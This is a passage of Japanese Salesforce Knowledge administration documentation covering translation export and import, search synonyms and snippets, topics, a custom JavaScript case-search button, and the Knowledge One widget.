4. 言語に適用する設定を選択します。

説明設定

[新規記事] および [翻訳申請] ダイアログボックス
に有効な言語が表示されます。
この有効/無効状況によって公開記事が表示される
かどうかが決まります。たとえば、パートナーポー
タルにスペイン語の記事が公開されている場合に、
スペイン語を無効な言語にすると、それらの記事
が表示されなくなります。

有効

翻訳申請された記事には自動的にデフォルトの任
命先が割り当てられます。デフォルトの任命先に
は、個人またはキューを指定できます。

デフォルトの任命先

翻訳が終了して校閲または公開の段階になると、
自動的にデフォルトの校閲者が割り当てられます。
デフォルトの校閲者には、個人またはキューを指
定できます。

デフォルトの校閲者

5. 変更内容を保存します。
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6. 必要に応じて、記事を翻訳できる、あるいは翻訳済みの記事を校閲できるユーザグループに記事を配信お
よび割り当てるキューを作成します。キューを設定するときは、KnowledgeArticleVersion オブジェクトを使用
します。

関連トピック:

キューの作成
翻訳用の記事のエクスポート
翻訳記事のインポート
複数言語の記事のサポート
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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翻訳用の記事のエクスポート

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事をエクスポートする
• 「Salesforce ナレッジ

の管理」

および

「記事の管理」

および

「ナレッジ記事のイン
ポート/エクスポート
の管理」

記事を表示する
• 記事タイプに対する

「参照」

記事を作成する
• 記事タイプに対する

「参照」および「作
成」

組織が Salesforce ナレッジ記事をベンダに送信して翻訳を依頼する場合、[設定] の
[記事をエクスポートして翻訳する] 機能を使用します。
翻訳する記事を翻訳キューに入れます。記事のエクスポート機能を有効にする
には、1 つ以上のキューを作成します。著者と校閲者は、記事の翻訳申請をする
ときにキューを選択します。著者と校閲者が、どの言語にどのキューを選択す
ればよいか知っていることを確認します。

メモ: エクスポートは 24 時間に最大 50 個、待機中のエクスポート (完了、
失敗、キャンセルなど最終状態に入っていないエクスポート) は最大 15 個
に制限されています。

1. 翻訳する記事が含まれる翻訳キューを作成します。
2. [記事の管理] タブで、翻訳する記事を選択して[翻訳申請]をクリックします。
3. ダイアログボックスで、記事をどの言語に翻訳するかを指定し、対応する言

語翻訳キューに翻訳を割り当てます。
4. [設定] から、[クイック検索]ボックスに「翻訳用の記事のエクスポート」と入

力し、[記事をエクスポートして翻訳する] を選択します。
5. エクスポートする記事が含まれるキューを選択します。
6. 次のいずれかを選択します。

• キュー内のすべての記事をエクスポートするには [すべて記事] をクリッ
クします。

• 変更または追加された記事のみをエクスポートするには、[更新記事]をク
リックします。

7. [次へ] をクリックします。
8. エクスポートするソース言語とターゲット言語のペアを選択します。

重要: 各言語ペアの記事タイプごとに別個の .zip ファイルが作成されま
す。インポートを正常に行うには、.zip ファイル構造を保持する必要が
あります。詳細は、「翻訳記事のインポート」 (ページ3431)を参照してく
ださい。

9. 翻訳後にファイルを校閲または公開するには、ユーザまたはキューを選択し
ます。

10. ファイルの文字エンコーディングを選択します。
• ISO-8859-1 (米国一般および西ヨーロッパ、ISO-LATIN-1)

• Unicode

• Unicode (UTF-8) デフォルト
• 日本語 (Windows)

• 日本語 (Shift_JIIS)

• 中国国家標準 (GB18030)
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• 中国語簡体字 (GB2312)

• 中国語繁体字 (Big5)

• 韓国語
• Unicode (UTF-16、Big Endian)

11. .csv ファイルの区切り文字を選択します。
区切り文字は、ファイルが表形式に変換されるときに列を区切る文字です。タブ (デフォルト) またはカン
マを使用できます。

12. [今すぐエクスポート] をクリックします。
エクスポートが完了するとメールで通知されます。エクスポートの状況は、[記事のインポートおよびエクス
ポートキュー] を表示しても確認できます。[設定] から、[クイック検索] ボックスに「記事のインポートとエク
スポート」と入力し、[記事のインポートとエクスポート] を選択します。
エクスポートされたファイルを展開します。ただし、インポートを正常に行うには、.zip ファイル構造を保持
してください。

関連トピック:

翻訳記事のインポート
マルチ言語の知識ベースの設定
複数言語の記事のサポート
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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翻訳記事のインポート

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事をエクスポートする
• 「Salesforce ナレッジ

の管理」

および

「記事の管理」

および

「ナレッジ記事のイン
ポート/エクスポート
の管理」

記事を表示する
• 記事タイプに対する

「参照」

記事を作成する
• 記事タイプに対する

「参照」および「作
成」

組織が Salesforce ナレッジ記事をベンダに送信して翻訳を依頼する場合、[設定] の
[記事翻訳のインポート] 機能を使用します。インポートできるのは、同じ Salesforce

組織からエクスポートされた記事のみです。たとえば、テスト組織や Sandbox 組
織から記事をエクスポートして本番組織にインポートすることはできません。
1. [設定] から、[クイック検索]ボックスに「記事翻訳のインポート」と入力し、

[記事翻訳のインポート] を選択します。
2. インポート後に Salesforce で翻訳をどのように処理するかを選択します。

説明オプション

インポートした翻訳をキューに追加
して、そこからエージェントが翻訳
を校閲できるようにします。

公開前に [記事の管理] タブでイン
ポートした翻訳をレビューする

インポートした翻訳をレビューせず
に公開します。

インポート時にすぐに翻訳を公開

3. インポートする記事の言語を選択します。
4. 公開前に記事を校閲する場合は、必要に応じて、ユーザまたはキューへの

ファイルの送信を選択します。
5. [参照]をクリックし、アップロードする翻訳 .zip ファイルを選択して、[開く]

をクリックします。
すべての翻訳ファイル (つまり、Salesforce からエクスポートされ、ベンダが翻
訳したファイル) を言語コードと同じ名前のフォルダに入れる必要がありま
す。たとえば、フランス語の記事は fr フォルダに入れます。このフォルダ
を zip ファイルとして圧縮し、インポートファイルを作成します。

重要: 翻訳記事を正常にインポートするには、そのファイルのファイル
構造および拡張子が翻訳用にSalesforce ナレッジからエクスポートされた
ファイルのファイル構造および拡張子に一致することを確認します。た
とえば、ターゲット言語がフランス語の場合、ファイル構造の最初の部
分は次のようになります。
import.properties
-fr
--articletypearticlename_kav
---articlename.csv
---[Article collateral, html, images, etc.]

6. [今すぐインポート] をクリックします。
アップロードする翻訳記事が他にもある場合は、ステップ 4 ～ 6 を繰り返します。

7. [完了] をクリックします。
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インポートが完了すると、メール通知が送信されます。インポートの状況を確認するには、[設定] から [クイッ
ク検索]ボックスに「記事のインポートとエクスポート」と入力し、[記事のインポートとエクスポート]を選択
します。

関連トピック:

記事および翻訳のインポートとエクスポート状況
翻訳用の記事のエクスポート
マルチ言語の知識ベースの設定
複数言語の記事のサポート
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

記事検索機能の向上

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ケースから検索の強調表示とスニペット、シノニム、昇格済み用語、トピック、
キーワードを有効にして、記事検索を向上させます。

検索の強調表示とスニペット
最良の記事をすばやく特定し、関連テキストと検索結果内の強調表示された
検索語を使用して、記事が検索語にどのように一致しているかが表示されま
す。
記事のシノニムの検索
シノニムを作成して、検索で語または句が同義とされるようにします。ユー
ザは、Salesforce ナレッジ記事の検索時に、用語に一致しないが同義の用語と
一致する検索語を入力できます。
昇格済み検索語の管理
Salesforce ナレッジ記事に関連付けられたすべての昇格済み検索語を 1 つのペー
ジから参照、編集、削除します。
記事のトピックの有効化
記事のトピックを使用すれば、トピックを割り当てて記事を分類し、検索で
きます。トピックは、記事ビューおよび詳細ページから追加できます。英語
のみでサポートされる推奨トピックは、記事から抽出された用語であるた
め、データカテゴリの割り当てよりも具体的で正確です。検索時にトピックを使用して記事のインデック
スを作成できるため、よりキーワード検索に関連した記事が一致します。
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追加キーワードを使用した記事の検索
ケースから記事を検索する場合、デフォルトではケースタイトルのみが検索に使用されます。多くの場合、
より正確な検索結果を得るためにケースの追加情報を使用したり、カスタム検索ボタンを作成したりする
と役立ちます。

関連トピック:

検索の強調表示とスニペット
記事のシノニムの検索
昇格済み検索語の管理
記事のトピックの有効化
追加キーワードを使用した記事の検索
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

検索の強調表示とスニペット

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

最良の記事をすばやく特定し、関連テキストと検索結果内の強調表示された検
索語を使用して、記事が検索語にどのように一致しているかが表示されます。
検索の強調表示とスニペットにより、特定の結果が検索クエリにどのように一
致するかについて、エージェントおよびユーザにコンテキストが与えられます。
関連テキストは、タイトルの下に表示され、検索語は太字で示されます。Salesforce

の [ナレッジの設定] ページ (ページ3360)で検索の強調表示とスニペットを有効に
できます。

メモ: 検索の強調表示とスニペットは、ワイルドカードを使用した検索で
は生成されません。

検索の強調表示とスニペットは、次の項目から生成されます。
• メール
• ロングテキストエリア
• リッチテキストエリア
• テキストエリア
検索の強調表示とスニペットは、次の項目からは生成されません。
• チェックボックス
• 通貨
• 日付
• 日時
• ファイル
• 数式
• ルックアップ
• 複数選択リスト
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• 数値
• パーセント
• 電話
• 選択リスト
• URL

メモ: スニペットが生成されない場合、記事の概要項目が代わりに表示されます。

関連トピック:

記事検索機能の向上
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

記事のシノニムの検索

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

シノニムを作成して、検索で語または句が同義とされるようにします。ユーザ
は、Salesforce ナレッジ記事の検索時に、用語に一致しないが同義の用語と一致
する検索語を入力できます。
シノニムおよびシノニムグループを作成するには、[設定] から、[クイック検索]

ボックスに「シノニム」と入力し、[カスタマイズ] > [検索] で [シノニム] を選択
します。1 つの組織で最大 10,000 個のシノニムグループを作成できます。
シノニムグループのいずれか 1 つの語を検索すると、グループ内のすべての語
に対する結果が返されます。たとえば、次のシノニムでシノニムグループを定
義したとします。
CRM、カスタマーリレーション管理、Salesforce

「カスタマーリレーション管理」を検索すると、「カスタマーリレーション管理」
を含む記事だけでなく、「CRM」または「Salesforce」を含む記事も検索します。
シノニムは、検索動作に次のような影響を与えます。
優先度

検索語がシノニムグループの一部である場合、検索結果には、検索語を含む
項目、続けてシノニムグループの他の語を含む項目が表示されます。
たとえば、次のシノニムグループを定義します。
fruit、oranges

「oranges」と指定して検索すると、「oranges」を含む項目、続けて「fruit」を含む項目の一覧が一致しま
す。

メモ:  [記事の管理] タブで、列ヘッダーをクリックして一覧を並び替えると、優先度ではなく、並び替
え順序が現在と追加の検索で維持されます。

ワイルドカード
検索でワイルドカードを使用する場合、ワイルドカードによって検索語の範囲が広がりますが、検索語句
に定義済みのシノニムが含まれていたとしても、検索ではどのシノニムも一致しません。
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たとえば、次のようなシノニムグループが定義されているとします。
fruit、oranges、apples

cabbage、lettuce

「orang* lettuce」と指定して検索すると、「orange」と「oranges」を含む項目は一致しますが、「fruit」、
「apples」、「cabbage」を含む項目は一致しません。

演算子
検索語句に演算子 (AND/OR/AND NOT) が含まれる場合、検索語句全体が定義されているシノニムである場合
にのみシノニムの一致が返されます。
たとえば、次のようなシノニムグループが定義されているとします。
fruit、oranges and apples

vegetable、carrots

「oranges and apples」と指定して検索すると、逐語的な文字列「oranges and apples」と単語「fruit」を含
むすべての項目の一致が返されます。
ただし、検索語句が「fruit and vegetables」である場合、これは定義されていないシノニムであるた
め、「fruit」と「vegetables」の両方の単語が含まれる項目が一致します。
この場合、AND は演算子として機能し、シノニム一致は、検索結果に返されません。この例でいうと、
「fruit」または「vegetables」のいずれかのシノニムを含む項目 (単語「carrots」または語句「oranges and apples」
を含む項目) は、返されません。

完全に一致する語句を含む
定義済みのシノニムが完全に一致する語句を含む検索の一部に過ぎない場合、検索ではシノニムとして扱
われません。
たとえば、次のシノニムグループを定義します。
oranges apples、fruit

「“raspberries oranges apples”」と指定して完全に一致する語句を検索すると、単語「fruit」を含む
項目は一致しません。

見出語化
シノニムは検索結果内で見出語化されず、完全に一致する語句として一致します。ただし、検索語は見出
語化されます。
たとえば、次のシノニムグループを定義します。
quench、drink orange juice

「quench」と指定して検索すると、「quench」、「quenched」、「quenching」、および「drink orange juice」を
含む項目は一致しますが、「drinking orange juice」を含む項目は一致しません。

無視される単語
検索で通常は無視される「the」、「to」、「for」などの単語は、単語が定義済みのシノニムの一部である
場合に一致します。
たとえば、次のシノニムグループを定義します。
peel the orange、cut the apple
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「peel the orange」と指定して検索すると、完全に一致する文字列「peel the orange」を含む項目が一致
します。

重複シノニム
検索語がさまざまなグループからの重複シノニムで構成される場合、検索ではすべての重複シノニムグルー
プに含まれるシノニムが一致します。
たとえば、次のようなシノニムグループが定義されているとします。
• orange marmalade、citrus

• marmalade recipe、sugar

「orange marmalade recipe」と指定して検索すると、「orange marmalade」、「citrus」、「marmalade

recipe」、「sugar」を含む項目が一致します。
サブセット

1 つのシノニムグループに別のグループに属するシノニムのサブセットであるシノニムが含まれる場合、サ
ブセットの語を検索しても、サブセットシノニムグループのシノニムを含む項目は一致しません。
たとえば、次のようなシノニムグループが定義されているとします。
• orange、apple

• orange marmalade、citrus

• marmalade、jam

「orange marmalade」と指定して検索すると、「orange marmalade」と「citrus」を含む項目は一致します
が、「apple」、「jam」を含む項目は一致しません。

関連トピック:

記事検索機能の向上
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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昇格済み検索語の管理

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

昇格済み検索語を作成、
編集、および削除する
• 「昇格済み検索語の管

理」

Salesforce ナレッジ記事に関連付けられたすべての昇格済み検索語を 1 つのページ
から参照、編集、削除します。
[昇格済み検索語] 関連リストの記事の詳細ページで、昇格済み検索語を記事に追
加できます。
1. [設定] から、[クイック検索]ボックスに「昇格済み検索語」と入力し、[[検索]

をカスタマイズ] の下で [昇格済み検索語] を選択します。
2. 記事に割り当てられている語を参照するには、[記事] 列で並び替えます。
3. 語を編集するには、その行で [編集] をクリックします。

変更できるのは、割り当てられている記事ではなくこのページの語のみで
す。

4. 語を削除するには、その行で [削除] をクリックします。
語は、この行に関連付けられた記事からのみ削除され、他の記事からは削除
されません。

5. 変更を保存します。

関連トピック:

記事検索機能の向上
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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記事のトピックの有効化

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

トピックを有効にする
• 「アプリケーションの

カスタマイズ」

記事のトピックを使用すれば、トピックを割り当てて記事を分類し、検索でき
ます。トピックは、記事ビューおよび詳細ページから追加できます。英語のみ
でサポートされる推奨トピックは、記事から抽出された用語であるため、デー
タカテゴリの割り当てよりも具体的で正確です。検索時にトピックを使用して
記事のインデックスを作成できるため、よりキーワード検索に関連した記事が
一致します。

メモ: データカテゴリとは対照的に、記事に追加されたトピックは、別の
言語の同一記事に移行されません。

記事のトピックは、記事タイプごとに有効にします。
1. [設定] から、[クイック検索] ボックスに「オブジェクトのトピック」と入力

し、[オブジェクトのトピック] を選択します。
2. トピックを有効にする記事タイプ名をクリックします。
3. [トピックを有効化] をオンにします。
4. 推奨に使用する項目を選択します。
5. [保存] をクリックします。
6. [システム権限] でプロファイルまたは権限セットを使用して、トピックの割

り当て、作成、削除、編集を行うことができるエージェントを定義します。

関連トピック:

記事検索機能の向上
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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追加キーワードを使用した記事の検索

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更して Visualforce
ページを作成する
• 「アプリケーションの

カスタマイズ」

ケースから記事を検索する場合、デフォルトではケースタイトルのみが検索に
使用されます。多くの場合、より正確な検索結果を得るためにケースの追加情
報を使用したり、カスタム検索ボタンを作成したりすると役立ちます。
これらを可能にするため、Salesforce ナレッジの検索ページで次の追加パラメー
タを使用できます。
• id=<ケース ID>: 現在のケースの ID。
• search=<キーワード>: 検索するキーワード。
• articleType_<記事タイプの API 参照名>=on: 選択する記事タイプ (記事タイプ

を選択しない場合、すべての記事タイプが選択されます)。複数のパラメータ
を使用できます。

• ct_<データカテゴリグループの内部名>=<データカテゴリの内部名>: 事前に
選択する検索条件。複数のパラメータを使用できます。

これらのパラメータを活用するには、ケースの詳細ページに、ケースからキー
ワードを抽出してデフォルトの記事の検索ボタンを非表示にする数行の JavaScript

を含むカスタムボタンを追加します。

メモ: support:caseArticle を使用して、カスタム記事ウィジェットを
作成することもできます。

1. ケースのオブジェクト管理設定から、[ボタン、リンク、およびアクション]

に移動します。
2. [新規ボタンまたはリンク]をクリックします。
3. 一意の [表示ラベル]、[名前]、および [説明] を入力します。
4. [表示の種類] で [詳細ページボタン] を選択します。
5. [動作] ドロップダウンから [JavaScript を実行] を選択します。
6. [内容のソース] ドロップダウンから [OnClick JaveScript] を選択します。
7. ケースデータを抽出して記事の検索ページにパラメータを設定するコードを入力します。

たとえば、次のような場所があります。
// article search page URL
var url = '/knowledge/knowledgeHome.apexp';

// ID of the current case
url += '?id={!Case.Id}';

// use the case subject as the search keywords
url += '&search={!Case.Subject}';

// read case attributes
var caseType = '{!Case.Type}';
var caseProduct = '{!Case.Product__c}';

// if the case is of a certain type, select only 2 of the article types available
// in other cases, we keep the default behavior (all article types selected)
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if (caseType=='Problem' || caseType=='Question') {
url += '&articleType_FAQ_kav=on';
url += '&articleType_How_To_kav=on';

}

// preselect a data category for search results based on the category

var product = '';
if (caseProduct=='Home')

product = 'Home';
if (caseProduct=='SMB')

product = 'Small_and_Medium_Business';
if (caseProduct=='Large enterprise')

product = 'Large_Enterprise';

if (product.length>0)
url += '&ct_Products2=' + product;

// once the logic is executed, we go to the article search page
window.location = url;

8. [保存] をクリックします。
9. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。
10. [ケースのレイアウト] の横にある [編集] をクリックします。
11. 記事を検索するカスタムボタンをケースレイアウトにドラッグします。
12. [保存] をクリックします。
13. 次のコードを含む、CaseDetailsWithoutStandardKBSearchButtonという名前のVisualforceページを作

成します。
<apex:page standardController="Case">

<style type="text/css">
div.knowledgeBlock input {display: none}

</style>
<apex:detail/>

</apex:page>

14. ケースの [ボタン、リンク、およびアクション] 領域に戻り、[ビュー] の横にある [編集] をクリックしま
す。

15. [上書き手段] で [Visualforce ページ] を選択します。
16. ドロップダウンから [CaseDetailsWithoutStandardKBSearchButton] を選択します。
17. [保存] をクリックします。

関連トピック:

記事検索機能の向上
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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Knowledge One ウィジェットの設定

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

Salesforce ナレッジおよび
Salesforce Console for
Service を管理する
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

Salesforce Console for Service または Salesforce Console for Sales にプラグインできるウィ
ジェットとして Knowledge One を使用できます。[ナレッジ] タブを使用している
場合、記事および外部ソース用の使いやすいインターフェースをケースや Salesforce

Console for Service 内でも使用できます。ケースから移動せずに記事の検索、送信、
作成ができます。
すべてのSalesforce ナレッジ記事ウィジェットの中でも、Knowledge One ウィジェッ
トを使用すると次の操作が可能です。
• 公開済みの Salesforce ナレッジ記事を 1 クリックでケースに添付する。
• 記事を URL として共有する (記事が公開チャネルで共有されている場合)。
• 記事を PDF としてメール送信する (記事が公開チャネルで共有されている場

合)。
• 記事を作成および管理する。
• ウィンドウ幅に基づいて調整する。コンソールのウィンドウが 600 ピクセル

よりも小さい場合、検索可能なオブジェクトはドロップダウンメニューで表
示されます。

メモ: ケースフィード検索の記事ウィジェットでは、エージェントの言語
が必ずしも使用されるわけではありません。エージェントの言語が Salesforce

ナレッジでサポートされる言語ではなくエージェントのローカル言語の場
合は、ローカル言語が検索言語になります。エージェントの言語とローカ
ル言語がどちらもサポートされない場合は、デフォルトの Salesforce ナレッ
ジ言語が検索言語になります。この言語は、[ナレッジの設定] ページで検
索および設定できます。

1. ケースのオブジェクト管理設定から、[ページレイアウト] に移動して、編集
するケースページレイアウトを開きます。

2. ケースページレイアウトに [メール] クイックアクションがあることを確認し
ます。
[メール] クイックアクションがないと、記事をメールで送信できません。
a. 左側のメニューにある [クイックアクション] を選択します。
b. [メール] を [Salesforce Classic パブリッシャーのクイックアクション] 行にドラッグします。

3. 従来の記事サイドバーコンポーネントを無効にします。
• ナレッジサイドバーを無効にするには、[レイアウトのプロパティ]をクリックして[ナレッジサイドバー]

がオフになっていることを確認します。
• ケースフィード記事ツールを無効にするには、[フィードビュー] をクリックして [コンソールでケース

フィード記事ツールを使用] がオフになっていることを確認します。

4. ページレイアウトエディタで、[カスタムコンソールコンポーネント] をクリックします。
5. Knowledge One ウィジェットが必要となるサイドバーで、[種別] ドロップダウンから [Knowledge One] を

選択し、サイドバーパラメータを設定します。
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[メール] クイックアクションを表示するためには、ケースページレイアウトに追加されている必要があり
ます。

ヒント:  Knowledge One サイドバーが表示されない場合は、ページレイアウトでサイドバーの幅を 250 まで
広げます (高さは 150)。Knowledge One サイドバーを適切に表示するための最小サイズがあります。

関連トピック:

ケースの記事ウィジェットの比較一覧
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

ケースの記事ウィジェットの比較一覧

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

組織にどの Salesforce ナレッジ記事ウィジェットが最適かを判断します。

Knowledge One
ウィジェット

記事ケース
フィードウィ
ジェット

記事ウィジェッ
ト

ウィジェットの機能

可不可可データカテゴリに基づく
絞り込み

可不可不可記事を作成する

可不可不可外部オブジェクトの検索

可不可不可ドラフト記事へのアクセ
ス

可可可ケースへの記事の添付

可可不可記事を PDF として送信

可可不可記事の公開 URL の共有

可不可不可ウィンドウサイズの調整

可不可不可複数の記事推奨方法
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記事ウィジェット

記事ケースフィードウィジェット
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Knowledge One ウィジェット

関連トピック:

Knowledge One ウィジェットの設定
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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Salesforce ナレッジの概要
エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

知識ベースを構築し、Web サイト訪問者、クライアント、パートナー、および
サービスエージェントに最上級のサポートを提供します。Salesforce ナレッジを
使用すると、自社の情報を作成、管理し、必要な時に必要な場所で安全に共有
できます。
Salesforce 知識ベースは、ナレッジ記事で構成されます。ナレッジ記事とは、情
報が含まれたドキュメントです。記事には、製品をデフォルトに戻す方法など
プロセスに関する情報や、製品がサポートするストレージ容量はどのくらいか、
などといったよくある質問が含まれています。
経験豊富なサービスエージェントや社内のライターが記事を作成します。作成
された記事は、内部アプリケーション、カスタマーコミュニティやパートナー
コミュニティ、または公開 Web サイトなど、幅広いチャネルで公開されます。
どこでどの情報が公開されるかは、記事レイアウトプロファイルと項目レベル
セキュリティに基づいて決定されます。
Spring '17 以降、ナレッジは Salesforce Classicと Lightning Experienceの両方で使用でき
ます。現在、Lightning Knowledge は、ナレッジを使用したことがない組織、また
は 1 つの記事タイプに簡単に統合でき、データカテゴリ数が少なく、単一言語
モードを使用している既存の組織にお勧めします。詳細は、「Lightning Knowledge

の制限事項」を参照してください。

関連トピック:

Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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Salesforce ナレッジドキュメントの概要

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

次のリストを使用すると、Salesforce ドキュメントセットの Salesforce ナレッジ情
報を検索できます。

Salesforce ナレッジの概要
• Salesforce ナレッジの概要
• 知識ベースの計画
• Salesforce ナレッジの制限
• 記事および翻訳の操作
• 『Salesforce ナレッジガイド』

Classic ナレッジ
Classic ナレッジの設定

• 知識ベースの構築
• ナレッジ記事タイプ
• Salesforce ナレッジへの既存の情報のインポート
• ナレッジ記事へのアクセス
• 記事のワークフローと承認

Salesforce Classic の Salesforce 知識ベースの使用
• [ナレッジ] タブでの記事および外部ソースの検索

– Salesforce Classic の Salesforce コンソールでのナレッジ記事の検索
– 検索のしくみ
– [記事] タブまたは [ナレッジ] タブ
– Android デバイスでの Salesforce ナレッジ記事の検索および表示については、「Salesforce1 for Android で

の Salesforce ナレッジ記事へのアクセス (ベータ)」および「Salesforce1 と Salesforce フルサイトとの違い」
を参照してください。

• 記事の作成と編集
• 記事および翻訳の公開
• Salesforce ナレッジ記事に関するレポート

Salesforce ナレッジ記事の翻訳
• マルチ言語の知識ベースの設定
• Salesforce ナレッジ内の記事の翻訳
• 翻訳用の記事のエクスポート
• 翻訳記事のインポート
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Lightning Knowledge

Lightning Knowledge の設定
• Lightning Knowledge レコードタイプの作成
• Lightning Knowledge ホームの作成 (ページ 3457)

• Lightning Knowledge のアクセス権の設定 (ページ 3459)

Lightning Experience の Salesforce 知識ベースの使用
• Lightning Knowledge のアクションの作成 (ページ 3467)

• メイン検索ボックスとナレッジサイドバーでの記事の検索 (ページ 3466)

• Lightning サービスコンソールのナレッジサイドバーの使用 (ページ 3468)

Salesforce ナレッジ記事のデータカテゴリの定義
• Salesforce.com のデータカテゴリ
• カテゴリグループの作成と編集
• カテゴリグループへのデータカテゴリの追加

Salesforce 知識ベースの共有
• ケースフィード記事ツールを使用した、記事の検索、添付、およびメール送信 (Classic)

• コミュニティでの Salesforce ナレッジの有効化 (Classic)

• Live Agent でのナレッジの使用 (Classic)

• 公開 Web サイトの訪問者に Salesforce ナレッジ記事を表示するには、AppExchange から Public Knowledge Base ア
プリケーションをインストールします。このパッケージを使用して公開知識ベースをインストール、設定、
およびカスタマイズするには、AppExchange から入手できる『Public Knowledge Base AppExchange App Guide』を
参照してください。

ナレッジおよび Salesforce1

• Salesforce1 の各バージョンで使用可能な機能
• カスタマーサービス機能: Salesforce1 で使用できない機能

Salesforce ナレッジを使用した開発
• 『Salesforce ナレッジ開発者ガイド』には、Salesforce ナレッジ固有の開発に関する説明とチュートリアルお

よび例が記載されています。
• 『Force.com REST API 開発者ガイド』には、REST API での記事のサポートに関する説明が記載されています。
• 『SOAP API 開発者ガイド』には、Salesforce ナレッジ API に関する説明が記載されています。

– ガイドライン
– オブジェクト
– コール
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https://developer.salesforce.com/docs/atlas.ja-jp.206.0.api_rest.meta/api_rest/intro_what_is_rest_api.htm
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• 『メタデータ API 開発者ガイド』には、Salesforce ナレッジのメタデータ API オブジェトに関する説明が記載
されています。

• 『Visualforce開発者ガイド』には、Salesforce ナレッジの Visualforceコンポーネントに関する説明が記載されて
います。

• 『Force.com Apexコード開発者ガイド』には、Apexの KnowledgeArticleVersionStandardController クラスに関する説
明が記載されています。

Salesforce ナレッジの制限
エディション別の Salesforce ナレッジの制限です。
Salesforce ナレッジは、コンテンツを作成および管理するための知識ベースです。コミュニティ (Classic ナレッジ
のみ) で Salesforce ナレッジが有効になっている場合、顧客およびパートナーは記事にアクセスできます。

メモ: 次の制限はデフォルトの制限です。一部の制限は拡大できます。制限を緩和するには、Salesforce に
お問い合わせください。

Lightning Knowledge の詳細Classic ナレッジの詳細Salesforce ナレッジの制限

50,000 個の記事50,000 個の記事最大記事数

なし100 個の記事タイプ最大記事タイプ

